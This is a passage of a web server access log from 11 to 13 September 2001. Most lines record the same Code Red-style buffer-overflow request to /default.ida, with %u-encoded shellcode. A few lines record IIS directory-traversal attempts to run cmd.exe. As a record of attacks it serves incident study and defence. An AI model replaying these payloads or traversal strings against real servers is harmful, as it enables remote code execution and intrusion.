  1482. 20010911 10:28:56:  [211.244.185.53] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1483. 20010911 13:04:42: dup-200-64-21-117.prodigy.net.mx [200.64.21.117] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1484. 20010911 13:15:00: dynamic-54-206.dyn.columbia.edu [128.59.54.206] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1485. 20010911 13:21:12:  [217.59.3.235] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1486. 20010911 13:58:47: dialup-cc4-69.cc.columbia.edu [128.59.3.78] ""
  1487. 20010911 19:19:01: c143253.catch.sdsl.no [217.8.143.253] "GET http://www.ebay.com/ HTTP/1.1"
  1488. 20010911 19:48:19:  [217.153.25.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1489. 20010912 01:35:32: c143253.catch.sdsl.no [217.8.143.253] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:%5C HTTP/1.0"
  1490. 20010912 01:35:33: c143253.catch.sdsl.no [217.8.143.253] "GET /msadc/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0"
  1491. 20010912 01:35:33: c143253.catch.sdsl.no [217.8.143.253] "GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0"
  1492. 20010912 05:16:51: alex.graham.clarkson.edu [128.153.160.153] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1493. 20010912 06:01:18:  [217.57.39.3] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1494. 20010912 11:01:57:  [169.207.144.120] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1495. 20010912 14:00:53: adsl-48419.turboline.skynet.be [217.136.61.35] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1496. 20010912 14:32:56: 200191199102-dial-user-UOL.acessonet.com.br [200.191.199.102] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1497. 20010912 14:37:05: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1498. 20010912 17:07:00: client124037.atl.mediaone.net [24.31.124.37] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1499. 20010912 18:08:53:  [211.50.146.22] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1500. 20010912 18:09:13: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1501. 20010912 18:16:47: dynamic-33-145.dyn.columbia.edu [128.59.33.145] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1502. 20010912 18:18:24: we-24-130-6-111.we.mediaone.net [24.130.6.111] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1503. 20010912 18:44:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1504. 20010912 19:29:40: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1505. 20010912 20:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1506. 20010912 21:25:46: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1507. 20010912 23:01:36:  [210.242.97.210] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1508. 20010913 01:35:43:  [211.217.37.152] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1509. 20010913 03:14:09: gate.mw.co.kr [] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1510. 20010913 04:53:22:  [218.11.104.6] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1511. 20010913 07:45:43: dyn-lern-24-193.dyn.columbia.edu [128.59.24.193] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1512. 20010913 07:57:02: dyn-lern-24-193.dyn.columbia.edu [128.59.24.193] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1513. 20010913 08:37:28: dyn-lern-24-193.dyn.columbia.edu [128.59.24.193] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1514. 20010913 09:24:31:  [61.157.87.175] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1515. 20010913 10:39:25: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1516. 20010913 10:43:37: dl-max5-C8B12419.jfa.terra.com.br [200.177.36.25] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1517. 20010913 11:55:51: vp181249.reshsg.uci.edu [128.195.181.249] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1518. 20010913 12:23:29: kupinse.tc.columbia.edu [128.59.94.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1519. 20010913 12:27:02: kupinse.tc.columbia.edu [128.59.94.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1520. 20010913 12:57:10: kupinse.tc.columbia.edu [128.59.94.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1521. 20010913 13:33:43: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1522. 20010913 13:50:33: kupinse.tc.columbia.edu [128.59.94.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1523. 20010913 14:03:00: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1524. 20010913 14:29:04: kupinse.tc.columbia.edu [128.59.94.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
